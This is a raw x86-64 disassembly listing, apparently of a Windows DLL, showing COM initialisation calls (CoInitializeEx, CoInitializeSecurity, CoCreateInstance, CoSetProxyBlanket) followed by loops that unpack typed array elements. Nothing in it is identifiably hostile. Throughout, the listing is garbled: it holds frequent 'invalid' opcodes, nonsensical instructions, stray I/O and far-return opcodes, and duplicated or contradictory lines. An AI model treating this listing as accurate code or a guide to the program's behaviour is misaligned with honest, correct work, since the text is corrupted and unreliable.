add dword [rdx + 0x12], esi
mov rcx, qword [rdi - 8]
mov rdx, qword [rdi]
call case.0x180046113.1274
add rdi, 0x18
invalid
sbb bl, ch
invalid
invalid
add rsp, 0x28
pop rdi
pop rsi
sub byte [rdi + 0x5e], bl
ret
ret
add byte [rax], al
add byte [rax - 0x77], cl
mov rsi, rcx
mov rsi, rcx
xor ecx, ecx
xor edx, edx
call qword [sym.imp.ole32.dll_CoInitializeEx]
lea rdi, [rsp + 0x70]
mov rcx, rdi
mov ecx, edi
mov ecx, edi
mov edx, eax
call fcn.180063c81
dec esi
invalid
invalid
dec esi
invalid
cmp qword [rdi], 0
je 0x180066db9
lea rdi, [rsp + 0x70]
mov rdx, qword [rdi + 8]
mov edx, dword [rdi + 8]
mov r8d, dword [rdi + 0x10]
mov rcx, rdi
call fcn.1800666d6
mov al, byte [rdi]
movups xmm0, xmmword [rdi + 1]
movaps xmmword [rsp + 0x50], xmm0
movups xmm0, xmmword [rdi + 0x10]
movups xmmword [rsp + 0x5f], xmm0
cmp al, 0x12
adc cl, byte [rdi]
invalid
invalid
add byte [rax], al
invalid
adc cl, byte [rdi]
test dword [rcx + 0x48000000], eax
and dword [rsp + 0x40], 0
and qword [rsp + 0x40], 0
and dword [rsp + 0x38], 0
and qword [rsp + 0x30], 0
and dword [rsp + 0x30], 0
and dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 3
add eax, dword [rax]
add byte [rax], al
and dword [rsp + 0x20], 0
xor ebx, ebx
xor ecx, ecx
mov edx, 0xffffffff
xor r8d, r8d
xor eax, eax
xor r9d, r9d
call qword [sym.imp.ole32.dll_CoInitializeSecurity]
lea rdi, [rsp + 0x50]
mov rcx, rdi
mov edx, eax
call fcn.180063c81
cmp qword [rdi], rbx
invalid
je 0x180066e35
invalid
mov rdx, qword [rsp + 0x58]
mov r8d, dword [rsp + 0x60]
lea rdi, [rsp + 0x70]
mov rcx, rdi
call fcn.180067f52
mov al, byte [rdi]
cmp al, 0x12
je 0x180066e35
adc al, 0xf4
invalid
hlt
mov byte [rsi], 0x12
jmp 0x180066e84
movups xmm0, xmmword [rsp + 0x5f]
movups xmmword [rsp + 0x9f], xmm0
and al, 0x9f
add byte [rax], al
add byte [rdi], cl
sub byte [rsp + 0x50], al
and al, 0x9f
add byte [rax], al
add byte [rdi], cl
sub byte [rsp + 0x50], al
movaps xmmword [rsp + 0x90], xmm0
sub dword [rsp + 0x90], eax
add byte [rax], al
mov byte [rsi], al
movaps xmm0, xmmword [rsp + 0x90]
movups xmmword [rsi + 1], xmm0
adc dword [rsi + 1], eax
adc dword [rsi + 1], eax
add dword [rdi], ecx
adc byte [rsp + 0x9f], al
movups xmm0, xmmword [rsp + 0x9f]
movups xmmword [rsi + 0x10], xmm0
jmp 0x180066e84
add byte [rax], 0
add byte [rdi], cl
add byte [rax], al
movups xmmword [rsi + 0x10], xmm1
adc dword [rsi + 0x10], ecx
movups xmmword [rsi], xmm0
add rsp, 0xb0
pop rbx
pop rdi
pop rsi
ret
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0xe8
mov rbx, r8
mov r14, rdx
mov rsi, rcx
invalid
lea r13, [rsp + 0x80]
add byte [rax], al
and qword [r13], 0
mov qword [rsp + 0x20], r13
lea rcx, [0x18008178c]
test al, 1
add byte [rbp + rcx*4 + 0xd], cl
xchg ebp, eax
test al, 1
add byte [rbp + 0x31], al
push qword [rcx]
rol byte [rcx - 0x48], cl
add dword [rax], eax
add byte [rax], al
test al, 1
add byte [rbp + rcx*4 + 0xd], cl
xchg ebp, eax
test al, 1
add byte [rbp + 0x31], al
push qword [rcx]
rol byte [rcx - 0x48], cl
add dword [rax], eax
add byte [rax], al
call qword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x180066eef
mov rdi, qword [rsp + 0x80]
mov edi, dword [rsp + 0x80]
and al, 0x80
add byte [rax], al
add byte [rax - 0x7b], cl
push qword [rbp + 0x4f]
test rdi, rdi
jne 0x180066f3c
jmp 0x180066efc
mov ecx, eax
call fcn.180063782
mov rdi, rax
mov edi, eax
mov edi, eax
mov r15d, edx
lea r12, [rsp + 0x80]
mov rcx, r12
and al, 0x80
add byte [rax], al
add byte [rcx + rcx*4 - 0x1f], cl
mov rdx, rdi
mov r8d, r15d
call fcn.1800666d6
mov al, byte [r12]
mov ecx, dword [r12 + 1]
mov ecx, dword [rsp + 1]
mov dword [rsp + 0x48], ecx
mov ecx, dword [r12 + 4]
and al, 4
and al, 4
mov dword [rsp + 0x4b], ecx
mov rdi, qword [r12 + 8]
movups xmm0, xmmword [r12 + 0x10]
invalid
adc byte [rdi], cl
sub dword [rsp + 0x60], eax
movaps xmmword [rsp + 0x60], xmm0
cmp al, 0x12
jne 0x180066f98
mov rcx, r14
mov rdx, rbx
call fcn.180063ffc
mov r14, rax
and qword [rsp + 0x80], 0
add byte [rax - 0x75], cl
invalid
mov qword [rsp + 0x40], r13
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
adc dword [rsp + 0x30], eax
add byte [rax - 0x75], cl
invalid
adc dword [rsp + 0x30], eax
mov dword [rsp + 0x28], 0x80
and qword [rsp + 0x20], 0
and al, 0x20
add byte [rbp + 0x31], al
dec dword [rax - 0x77]
stc
and al, 0x20
add byte [rbp + 0x31], al
dec dword [rax - 0x77]
stc
mov rdx, r14
xor r8d, r8d
xor eax, eax
xor eax, eax
xor r9d, r9d
call qword [rax + 0x18]
test eax, eax
js 0x180066fda
mov rbx, qword [rsp + 0x80]
test rbx, rbx
setne bpl
jmp 0x180066fe9
push rcx
mov ecx, dword [rsp + 0x48]
mov edx, dword [rsp + 0x4b]
push rsp
and al, 0x4b
push rsp
and al, 0x4b
mov dword [rsp + 0x53], edx
mov dword [rsp + 0x50], ecx
movaps xmm0, xmmword [rsp + 0x60]
movaps xmmword [rsp + 0xc0], xmm0
mov byte [rsi], al
mov eax, dword [rsp + 0x50]
and al, 0xc0
add byte [rax], al
add byte [rax + 0x24448b06], cl
push rax
mov ecx, dword [rsp + 0x53]
mov dword [rsi + 1], eax
mov dword [rsi + 4], ecx
mov qword [rsi + 8], rdi
jle 0x180066fd1
jle 0x180066fd1
movaps xmm0, xmmword [rsp + 0xc0]
movups xmmword [rsi + 0x10], xmm0
jmp 0x1800671b1
xlatb
add dword [rax], eax
invalid
xlatb
add dword [rax], eax
add byte [rcx - 0x385e173f], cl
invalid
mov ecx, eax
call fcn.180063782
mov rbx, rax
mov r15d, edx
xlatb
xlatb
xor ebp, ebp
mov ecx, 1
xor edx, edx
call fcn.180066d4e
std
invalid
invalid
mov ecx, 1
xor edx, edx
call fcn.180066d4e
mov ecx, 1
xor edx, edx
call fcn.180066d4e
mov ecx, 1
xor edx, edx
call fcn.180066d4e
mov ecx, 1
mov rdx, r14
call fcn.180066d4e
std
invalid
std
invalid
test bpl, bpl
je case.0x18005c15f.317
xor ecx, ecx
call fcn.180063b58
xor ecx, ecx
call fcn.180063b58
xor ecx, ecx
leave
leave
call fcn.180063b58
xor ecx, ecx
call fcn.180063b58
invalid
dec dword [rcx + rcx*4 - 0xf]
call fcn.180063b58
jmp 0x1800670b7
invalid
lea r12, [rsp + 0x80]
lea esp, [rsp + 0x80]
mov rcx, r12
mov rdx, rbx
mov r8d, r15d
clc
clc
call fcn.1800666d6
mov bpl, byte [r12]
mov eax, dword [r12 + 1]
and al, 1
and al, 1
mov dword [rsp + 0x48], eax
and al, 0x48
mov eax, dword [r12 + 4]
mov dword [rsp + 0x4b], eax
mov rbx, qword [r12 + 8]
or byte [rcx + 0xf], al
adc byte [rsp + 0x10], al
invalid
or byte [rcx + 0xf], al
adc byte [rsp + 0x10], al
invalid
movups xmm0, xmmword [rsp + 0x10]
and al, 0x10
adc byte [rdi], cl
sub dword [rsp + 0x60], eax
and al, 0x60
movaps xmmword [rsp + 0x60], xmm0
and al, 0x60
xor ecx, ecx
call fcn.180063b58
retf 0xffff
xor ecx, ecx
retf 0xffff
push qword [rcx]
leave
call fcn.180063b58
xor ecx, ecx
call fcn.180063b58
xor ecx, ecx
call fcn.180063b58
mov rcx, r14
call fcn.180063b58
cmp bpl, 0x12
jne 0x180067125
cmpsd dword [rsi], dword [rdi]
retf 0xffff
mov eax, 3
add byte [rax], al
mov dword [rsp + 0x28], eax
and dword [rsp + 0x38], 0
mov dword [rsp + 0x20], eax
and qword [rsp + 0x30], 0
mov rcx, rbx
mov edx, 0xa
invalid
add byte [rbp + 0x31], al
rol byte [rbp + 0x31], 0xc9
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ole32.dll_CoSetProxyBlanket]
lea r14, [rsp + 0x60]
je 0x18006710b
invalid
mov rcx, r14
mov edx, eax
call fcn.180063c81
cmp qword [r14], 0
je case.0x18004ba21.433
je 0x18006710b
invalid
mov rdx, qword [rsp + 0x68]
mov r8d, dword [rsp + 0x70]
lea r14, [rsp + 0x80]
mov rcx, r14
mov ecx, esi
call fcn.180067f52
mov al, byte [r14]
cmp al, 0x12
jne 0x180067165
mov qword [rsi + 8], rbx
mov byte [rsi], 0x12
jmp 0x1800671a8
mov eax, dword [rsp + 0x48]
and al, 0x48
mov ecx, dword [rsp + 0x4b]
mov dword [rsp + 0x5b], ecx
mov dword [rsp + 0x58], eax
pop rax
pop rax
movaps xmm0, xmmword [rsp + 0x60]
and al, 0x60
movaps xmmword [rsp + 0xd0], xmm0
mov byte [rsi], bpl
mov eax, dword [rsp + 0x58]
and al, 0x58
mov ecx, dword [rsp + 0x5b]
mov dword [rsi + 1], eax
mov dword [rsi + 4], ecx
mov qword [rsi + 8], rbx
movaps xmm0, xmmword [rsp + 0xd0]
movups xmmword [rsi + 0x10], xmm0
adc bl, r13b
invalid
adc bl, r13b
movups xmm0, xmmword [r12 + r12 + 0x81]
test byte [rcx + rax*4], ah
add byte [rax], al
invalid
movups xmm0, xmmword [rsp + 0x81]
test byte [rcx + rax*4], ah
add byte [rax], al
add byte [rdi], cl
adc byte [rsp + 0x90], cl
movups xmm1, xmmword [rsp + 0x90]
movups xmmword [rsp + 0xaf], xmm1
adc dword [rsp + 0xaf], ecx
mov word [rdi + rbp*4], fs
add byte [rax], al
add byte [rdi], cl
movaps xmmword [rsp + 0xa0], xmm0
movaps xmmword [rsp + 0xa0], xmm0
and al, 0xa0
add byte [rax], al
add byte [rax - 0x7bd7f0fa], cl
mov byte [rsi], al
movaps xmm0, xmmword [rsp + 0xa0]
movups xmmword [rsi + 1], xmm0
mov byte [rsi], al
movaps xmm0, xmmword [rsp + 0xa0]
movups xmmword [rsi + 1], xmm0
invalid
movups xmm0, xmmword [rsp + 0xaf]
movups xmmword [rsi + 0x10], xmm0
adc dword [rsi + 0x10], eax
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 0x10]
mov rax, qword [rdi]
mov rcx, rdi
stc
stc
call qword [rax + 0x10]
nop
add rsp, 0xe8
invalid
pop rbx
call 0x1db0671ba
add byte [rbx + 0x5d], bl
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
in al, dx
cwde
add byte [rax], al
add byte [rax - 0x77], cl
iretd
mov r15, rdx
lea rcx, [0x180083ae0]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov qword [rsp + 0x78], 8
and al, 0x78
or byte [rax], al
add byte [rax], al
and qword [rsp + 0x80], 0
and qword [rsp + 0x68], 0
and al, 0x68
add byte [rax - 0x73], cl
pop rsp
and al, 0x48
add byte [rax - 0x7d], cl
and al, 0x68
and al, 0x68
and al, 0x68
add byte [rax - 0x73], cl
pop rsp
and al, 0x48
mov rcx, rbx
mov rdx, r15
call fcn.180067ec1
or al, 0
add byte [rbx + 0x3a75003b], al
or al, 0
add byte [rbx + 0x3a75003b], al
lea rbx, [rsp + 0x48]
pop rsp
and al, 0x48
invalid
mov rbp, qword [rbx + 4]
mov ebp, dword [rbx + 4]
mov rcx, rbx
mov rdx, r15
call fcn.180067ef8
cmp dword [rbx], 0
jne case.0x1800642bc.422
lea rbx, [rsp + 0x48]
mov esi, dword [rbx + 4]
jae 0x180067256
jae 0x180067256
lea r8, [rsp + 0x68]
mov rcx, rbx
push 0x4cd98948
mov edx, edi
mov rdx, r15
call fcn.180067f2f
cmp qword [rbx], 0
je 0x180067db5
or eax, dword [rax]
add byte [rax - 0x75], cl
mov rdx, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x50]
mov r8d, dword [rsp + 0x58]
pop rax
lea rcx, [rsp + 0x28]
and al, 0x28
call fcn.180067f52
mov al, byte [rsp + 0x28]
and al, 0x28
cmp al, 0x12
jne 0x180067cb0
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x60], rax
mov r13, qword [rsp + 0x38]
mov ebp, dword [rsp + 0x40]
insb byte [rdi], dx
and al, 0x40
invalid
mov esi, dword [rsp + 0x44]
mov esi, dword [rsp + 0x44]
inc esi
movsxd rbx, esi
movsxd r14, ebp
cmp r14d, ebx
ja 0x180067e1e
add r14, r14
add rbx, rbx
test byte [rax + 1], 0xdb
lea r15, [rsp + 0x70]
lea r12, [rsp + 0x28]
cmp rbx, r14
je 0x180067c78
movzx eax, word [r13 + r14]
mov word [rsp + 0x2a], ax
add byte [rsi - 0x77], ah
and al, 0x2a
mov byte [rsp + 0x28], 4
mov rcx, r15
mov rdx, r12
call fcn.180067e31
add r14, 2
add ch, bl
invalid
add ch, bl
invalid
and qword [rsp + 0x70], 0
mov qword [rsp + 0x78], 8
mov dword [rsp + 0x78], 8
and qword [rsp + 0x80], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
and qword [rsp + 0x68], 0
lea rbx, [rsp + 0x48]
and al, 0x68
add byte [rax - 0x73], cl
pop rsp
and al, 0x48
mov rcx, rbx
mov rdx, r15
call fcn.180067ec1
add byte [rax], al
add byte [rax], al
cmp dword [rbx], 0
cmp eax, dword [rax]
jne 0x18006735b
lea rbx, [rsp + 0x48]
mov ebp, dword [rbx + 4]
mov rbp, qword [rbx + 4]
mov rcx, rbx
mov rdx, r15
mov edx, edi
mov edx, edi
call fcn.180067ef8
cmp dword [rbx], 0
add byte [rbp + 0x22], dh
add byte [rbp + 0x22], dh
lea rbx, [rsp + 0x48]
mov esi, dword [rbx + 4]
mov rsi, qword [rbx + 4]
lea r8, [rsp + 0x68]
mov rcx, rbx
mov rdx, r15
call fcn.180067f2f
fimul word [rbx]
add byte [rax], al
fimul word [rbx]
add byte [rax], al
cmp qword [rbx], 0
cmp dword [rbx], 0
je 0x180067d7e
test byte [rbx], ah
or al, byte [rax]
add byte [rax - 0x75], cl
push rsp
and al, 0x50
mov rdx, qword [rsp + 0x50]
mov r8d, dword [rsp + 0x58]
lea rcx, [rsp + 0x28]
and al, 0x28
call fcn.180067f52
mov al, byte [rsp + 0x28]
and al, 0x28
cmp al, 0x12
jne 0x180067cb0
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x60], rax
and al, 0x60
and al, 0x60
mov r13, qword [rsp + 0x38]
mov ebp, dword [rsp + 0x40]
invalid
mov esi, dword [rsp + 0x44]
mov esi, dword [rsp + 0x44]
inc esi
movsxd rbx, esi
invalid
fimul word [rbx + riz*2 - 0xb]
cmp r14d, ebx
ja 0x180067e1e
invalid
shl r14, 3
shl rbx, 3
jrcxz 0x1800673ae
jrcxz 0x1800673ae
lea r15, [rsp + 0x70]
and al, 0x70
lea r12, [rsp + 0x28]
cmp rbx, r14
je 0x180067c78
mov rax, qword [r13 + r14]
mov qword [rsp + 0x30], rax
xor eax, 0x44894800
and al, 0x30
mov byte [rsp + 0x28], 0xd
mov rcx, r15
mov rdx, r12
call fcn.180067e31
add r14, 8
or bl, ch
xlatb
xlatb
and qword [rsp + 0x70], 0
mov qword [rsp + 0x78], 8
mov dword [rsp + 0x78], 8
mov dword [rsp + 0x78], 8
or byte [rax], al
add byte [rax], al
and qword [rsp + 0x80], 0
add byte [rax], 0
add byte [rax], al
and qword [rsp + 0x68], 0
lea rbx, [rsp + 0x48]
and al, 0x68
add byte [rax - 0x73], cl
pop rsp
and al, 0x48
mov rcx, rbx
mov rdx, r15
call fcn.180067ec1
or al, byte [rax]
invalid
or al, byte [rax]
add byte [rbx + 0x3b75003b], al
cmp dword [rbx], 0
jne 0x18006744c
cmp dword [rbx], 0
jne 0x18006744c
lea rbx, [rsp + 0x48]
mov r14d, dword [rbx + 4]
mov r14d, dword [rbx + 4]
mov rcx, rbx
mov rdx, r15
call fcn.180067ef8
invalid
cmp dword [rbx], 0
jne 0x18006744c
lea rbx, [rsp + 0x48]
pop rsp
and al, 0x48
mov esi, dword [rbx + 4]
lea r8, [rsp + 0x68]
and al, 0x68
and al, 0x68
mov rcx, rbx
mov rdx, r15
cli
cli
call fcn.180067f2f
cmp qword [rbx], 0
invalid
in eax, dx
or al, byte [rax]
add byte [rax - 0x7d], cl
cmp eax, dword [rax]
invalid
add byte [rdi], cl
test byte [rcx + 9], al
add byte [rax], al
je 0x180067d8d
mov rdx, qword [rsp + 0x50]
push rsp
and al, 0x50
mov r8d, dword [rsp + 0x58]
lea rcx, [rsp + 0x28]
call fcn.180067f52
mov al, byte [rsp + 0x28]
and al, 0x28
cmp al, 0x12
jne 0x180067d06
mov r15, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov r14d, dword [rsp + 0x40]
mov esi, dword [rsp + 0x44]
and al, 0x44
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x90], rdi
mov dword [rsp + 0x90], edi
jl 0x1800674a7
invalid
mov dword [rsp + 0x90], edi
inc esi
movsxd rbx, esi
movsxd r14, r14d
cmp r14d, ebx
ja 0x180067e1e
invalid
or dword [rax], eax
invalid
or dword [rcx], 0x8d480000
jl 0x1800674c5
lea rdi, [rsp + 0x38]
shl r14, 3
cmp byte [rcx - 0x3f], cl
out 3, al
shl rbx, 3
shl ebx, 3
lea r15, [rsp + 0x48]
movabs rsi, 0x8000000000000000
lea r12, [rsp + 0x70]
lea r13, [rsp + 0x28]
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax + 0x24648d4c], al
jo 0x18006750b
lea ebp, [rsp + 0x28]
cmp rbx, r14
je 0x180067d38
invalid
je 0x180067d38
add byte [rdx - 0x75], cl
push rsp
xor eax, 0xf9894c00
mov rcx, r15
mov rdx, qword [rbp + r14]
mov edx, dword [rbp + rsi]
mov rcx, r15
call 0x180064278
mov rax, qword [rsp + 0x48]
cmp rax, rsi
je 0x180067d64
lea rcx, [rsp + 0x50]
movups xmm0, xmmword [rcx]
movups xmmword [rdi], xmm0
mov qword [rsp + 0x30], rax
mov byte [rsp + 0x28], 2
and al, 0x28
add cl, byte [rcx + rcx*4 - 0x1f]
and al, 0x28
add cl, byte [rcx + rcx*4 - 0x1f]
mov rdx, r13
call fcn.180067e31
add r14, 8
jmp 0x1800674c3
add byte [rax - 0x39], cl
and al, 0x78
or byte [rax], al
add byte [rax], al
add byte [rax - 0x7d], cl
movsb byte [rdi], byte [rsi]
and al, 0x80
add byte [rax], al
add byte [rax], al
invalid
add byte [rax - 0x7d], cl
movsb byte [rdi], byte [rsi]
and al, 0x80
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x7d], cl
and al, 0x68
add byte [rax - 0x73], cl
and qword [rsp + 0x68], 0
lea rbx, [rsp + 0x48]
pop rsp
and al, 0x48
pop rsp
and al, 0x48
mov rcx, rbx
mov ecx, ebx
mov rdx, r15
call fcn.180067ec1
cmp dword [rbx], 0
jne 0x18006757a
add byte [rbp + 0x3a], dh
lea rbx, [rsp + 0x48]
mov ebp, dword [rbx + 4]
mov rcx, rbx
mov rdx, r15
call fcn.180067ef8
cmp dword [rbx], 0
jne 0x18006757a
lea rbx, [rsp + 0x48]
mov esi, dword [rbx + 4]
lea r8, [rsp + 0x68]
lea eax, [rsp + 0x68]
lea eax, [rsp + 0x68]
mov rcx, rbx
mov rdx, r15
call fcn.180067f2f
or dword [rax], eax
add byte [rax - 0x7d], cl
cmp eax, dword [rax]
add byte [rax], al
cmp qword [rbx], 0
je 0x180067d97
mov rdx, qword [rsp + 0x50]
mov r8d, dword [rsp + 0x58]
lea rcx, [rsp + 0x28]
call fcn.180067f52
mov al, byte [rsp + 0x28]
cmp al, 0x12
jne 0x180067cb0
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x60], rax
mov r13, qword [rsp + 0x38]
mov ebp, dword [rsp + 0x40]
mov esi, dword [rsp + 0x44]
inc esi
movsxd rbx, esi
movsxd r14, ebp
cmp r14d, ebx
ja 0x180067e1e
pop rsp
or byte [rax], al
add byte [rax], al
pop rsp
or byte [rax], al
add byte [rax], al
lea r15, [rsp + 0x70]
add byte [rax], al
lea r15, [rsp + 0x70]
lea r12, [rsp + 0x28]
cmp rbx, r14
je 0x180067c78
mov al, byte [r13 + r14]
mov byte [rsp + 0x29], al
mov byte [rsp + 0x28], 3
sub byte [rbx], al
sub byte [rbx], al
mov rcx, r15
mov rdx, r12
call fcn.180067e31
inc r14
jmp 0x1800675cc
add byte [rax - 0x7d], cl
movsb byte [rdi], byte [rsi]
and al, 0x80
add byte [rax], al
add byte [rax], al
and qword [rsp + 0x68], 0
and al, 0x68
invalid
and al, 0x68
and al, 0x68
add byte [rax - 0x73], cl
pop rsp
and al, 0x48
lea rbx, [rsp + 0x48]
mov rcx, rbx
mov rdx, r15
call fcn.180067ec1
movabs al, byte [0x3a75003b83000008]
movabs al, byte [0x3a75003b83000008]
cmp cl, byte [rax - 0x73]
pop rsp
and al, 0x48
lea rbx, [rsp + 0x48]
mov ebp, dword [rbx + 4]
mov rcx, rbx
add al, 0x48
mov ecx, ebx
mov rdx, r15
call fcn.180067ef8
cmp dword [rbx], 0
jne 0x180067660
lea rbx, [rsp + 0x48]
and al, 0x48
mov esi, dword [rbx + 4]
lea r8, [rsp + 0x68]
mov rcx, rbx
mov rdx, r15
call fcn.180067f2f
invalid
add byte [rax - 0x7d], cl
cmp eax, dword [rax]
cmp qword [rbx], 0
je 0x180067da6
add byte [rax], al
mov rdx, qword [rsp + 0x50]
mov edx, dword [rsp + 0x50]
mov r8d, dword [rsp + 0x58]
lea rcx, [rsp + 0x28]
and al, 0x28
and al, 0x28
call fcn.180067f52
mov al, byte [rsp + 0x28]
cmp al, 0x12
jne 0x180067cb0
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x60], rax
invalid
mov r13, qword [rsp + 0x38]
mov ebp, dword [rsp + 0x40]
mov esi, dword [rsp + 0x44]
inc esi
movsxd rbx, esi
movsxd r14, ebp
cmp r14d, ebx
ja 0x180067e1e
invalid
add byte [rax], al
invalid
invalid
add byte [rax], al
shl r14, 3
shl rbx, 3
lea r15, [rsp + 0x70]
lea edi, [rsp + 0x70]
lea edi, [rsp + 0x70]
lea r12, [rsp + 0x28]
cmp rbx, r14
je 0x180067c78
movsd xmm0, qword [r13 + r14]
movsd qword [rsp + 0x30], xmm0
mov byte [rsp + 0x28], 8
and al, 0x28
invalid
and al, 0x28
or byte [rcx + rcx*4 - 7], cl
mov rcx, r15
mov rcx, r15
mov rdx, r12
call fcn.180067e31
add r14, 8
add esi, 8
add esi, 8
jmp 0x1800676ba
or byte [rax], al
add byte [rax], al
and qword [rsp + 0x80], 0
and qword [rsp + 0x68], 0
and al, 0x68
add byte [rax - 0x73], cl
pop rsp
and al, 0x48
and al, 0x68
add byte [rax - 0x73], cl
pop rsp
and al, 0x48
mov rcx, rbx
mov rdx, r15
call fcn.180067ec1
cmp dword [rbx], 0
jne 0x180067753
lea rbx, [rsp + 0x48]
mov ebp, dword [rbx + 4]
mov rcx, rbx
mov rdx, r15
call fcn.180067ef8
cmp dword [rbx], 0
jne 0x180067753
lea rbx, [rsp + 0x48]
mov esi, dword [rbx + 4]
lea r8, [rsp + 0x68]
mov rcx, rbx
mov rdx, r15
call fcn.180067f2f
out 7, al
add byte [rax], al
cmp qword [rbx], 0
je 0x180067dc4
invalid
add byte [rax], al
invalid
add byte [rax], al
mov rdx, qword [rsp + 0x50]
mov r8d, dword [rsp + 0x58]
lea rcx, [rsp + 0x28]
call fcn.180067f52
mov al, byte [rsp + 0x28]
cmp al, 0x12
jne 0x180067cb0
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x60], rax
mov r13, qword [rsp + 0x38]
mov ebp, dword [rsp + 0x40]
mov esi, dword [rsp + 0x44]
inc esi
movsxd rbx, esi
movsxd r14, ebp
cmc
cmc
cmp r14d, ebx
ja 0x180067e1e
shl r14, 2
shl rbx, 2
shl ebx, 2
shl ebx, 2
jrcxz 0x1800677a5
lea r15, [rsp + 0x70]
lea r12, [rsp + 0x28]
cmp rbx, r14
je 0x180067c78
jl 0x1800677cb
jo 0x1800677f5
movss xmm0, dword [r13 + r14]
movss dword [rsp + 0x2c], xmm0
mov byte [rsp + 0x28], 7
mov rcx, r15
mov rdx, r12
call fcn.180067e31
add r14, 4
jmp 0x1800677ad
add byte [rax - 0x7d], cl
and al, 0x68
add byte [rax - 0x73], cl
pop rsp
and al, 0x48
mov rcx, rbx
mov rdx, r15
call fcn.180067ec1
cmp dword [rbx], 0
jne 0x180067846
lea rbx, [rsp + 0x48]
mov ebp, dword [rbx + 4]
mov rcx, rbx
mov rdx, r15
call fcn.180067ef8
cmp dword [rbx], 0
jne 0x180067846
lea rbx, [rsp + 0x48]
mov esi, dword [rbx + 4]
lea r8, [rsp + 0x68]
mov rcx, rbx
mov rdx, r15
cli
mov edx, edi
cli
call fcn.180067f2f
cmp qword [rbx], 0
je 0x180067dd3
add byte [rax - 0x75], cl
push rsp
and al, 0x50
mov rdx, qword [rsp + 0x50]
mov r8d, dword [rsp + 0x58]
lea rcx, [rsp + 0x28]
call fcn.180067f52
mov al, byte [rsp + 0x28]
cmp al, 0x12
jne 0x180067cb0
invalid
add byte [rax - 0x75], cl
and al, 0x30
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x60], rax
mov r13, qword [rsp + 0x38]
mov ebp, dword [rsp + 0x40]
mov esi, dword [rsp + 0x44]
inc esi
movsxd rbx, esi
movsxd r14, ebp
cmp r14d, ebx
cmp esi, ebx
ja 0x180067e1e
shl r14, 2
shl rbx, 2
lea r15, [rsp + 0x70]
lea r12, [rsp + 0x28]
cmp rbx, r14
je 0x180067c78
mov eax, dword [r13 + r14]
mov dword [rsp + 0x2c], eax
mov byte [rsp + 0x28], 5
mov rcx, r15
mov rdx, r12
call fcn.180067e31
add r14, 4
jmp 0x1800678a0
add byte [rax - 0x7d], cl
movsb byte [rdi], byte [rsi]
and al, 0x80
add byte [rax], al
add byte [rax], al
and qword [rsp + 0x68], 0
lea rbx, [rsp + 0x48]
mov rcx, rbx
mov rdx, r15
call fcn.180067ec1
cmp dword [rbx], 0
jne 0x180067935
lea rbx, [rsp + 0x48]
mov ebp, dword [rbx + 4]
mov rcx, rbx
mov rdx, r15
call fcn.180067ef8
cmp dword [rbx], 0
jne 0x180067935
lea rbx, [rsp + 0x48]
mov esi, dword [rbx + 4]
lea r8, [rsp + 0x68]
mov rcx, rbx
mov rdx, r15
cli
cli
call fcn.180067f2f
cmp qword [rbx], 0
je 0x180067de2
mov rdx, qword [rsp + 0x50]
mov r8d, dword [rsp + 0x58]
lea rcx, [rsp + 0x28]
call fcn.180067f52
mov al, byte [rsp + 0x28]
cmp al, 0x12
jne 0x180067cb0
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x60], rax
mov r13, qword [rsp + 0x38]
mov ebp, dword [rsp + 0x40]
mov esi, dword [rsp + 0x44]
inc esi
movsxd rbx, esi
movsxd r14, ebp
cmp r14d, ebx
cmp esi, ebx
cmp esi, ebx
ja 0x180067e1e
lea r15, [rsp + 0x70]
lea r12, [rsp + 0x28]
cmp rbx, r14
je 0x180067c78
mov al, byte [r13 + r14]
mov byte [rsp + 0x29], al
mov byte [rsp + 0x28], 0xa
mov rcx, r15
mov rdx, r12
call fcn.180067e31
inc r14
jmp 0x180067987
add byte [rax - 0x7d], cl
and al, 0x68
add byte [rax - 0x73], cl
pop rsp
and al, 0x48
mov rcx, rbx
mov rdx, r15
call fcn.180067ec1
cmp dword [rbx], 0
jne 0x180067a1b
lea rbx, [rsp + 0x48]
mov ebp, dword [rbx + 4]
mov rcx, rbx
mov rdx, r15
call fcn.180067ef8
cmp dword [rbx], 0
jne 0x180067a1b
lea rbx, [rsp + 0x48]
mov esi, dword [rbx + 4]
lea r8, [rsp + 0x68]
mov rcx, rbx
mov rdx, r15
call fcn.180067f2f
cmp qword [rbx], 0
je 0x180067df1
mov rdx, qword [rsp + 0x50]
mov r8d, dword [rsp + 0x58]
lea rcx, [rsp + 0x28]
call fcn.180067f52
mov al, byte [rsp + 0x28]
cmp al, 0x12
jne 0x180067cb0
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x60], rax
mov r13, qword [rsp + 0x38]
mov ebp, dword [rsp + 0x40]
mov esi, dword [rsp + 0x44]
inc esi
movsxd rbx, esi
movsxd r14, ebp
cmp r14d, ebx
ja 0x180067e1e
add r14, r14
add rbx, rbx
test byte [rax + 1], 0xdb
lea r15, [rsp + 0x70]
lea r12, [rsp + 0x28]
cmp rbx, r14
je 0x180067c78
movzx eax, word [r13 + r14]
mov word [rsp + 0x2a], ax
mov byte [rsp + 0x28], 0xb
mov rcx, r15
mov rdx, r12
call fcn.180067e31
add r14, 2
jmp 0x180067a73
and qword [rsp + 0x68], 0
lea rbx, [rsp + 0x48]
mov rcx, rbx
mov rdx, r15
call fcn.180067ec1
cmp dword [rbx], 0
jne 0x180067b0a
lea rbx, [rsp + 0x48]
mov ebp, dword [rbx + 4]
mov rcx, rbx
mov rdx, r15
call fcn.180067ef8
cmp dword [rbx], 0
jne 0x180067b0a
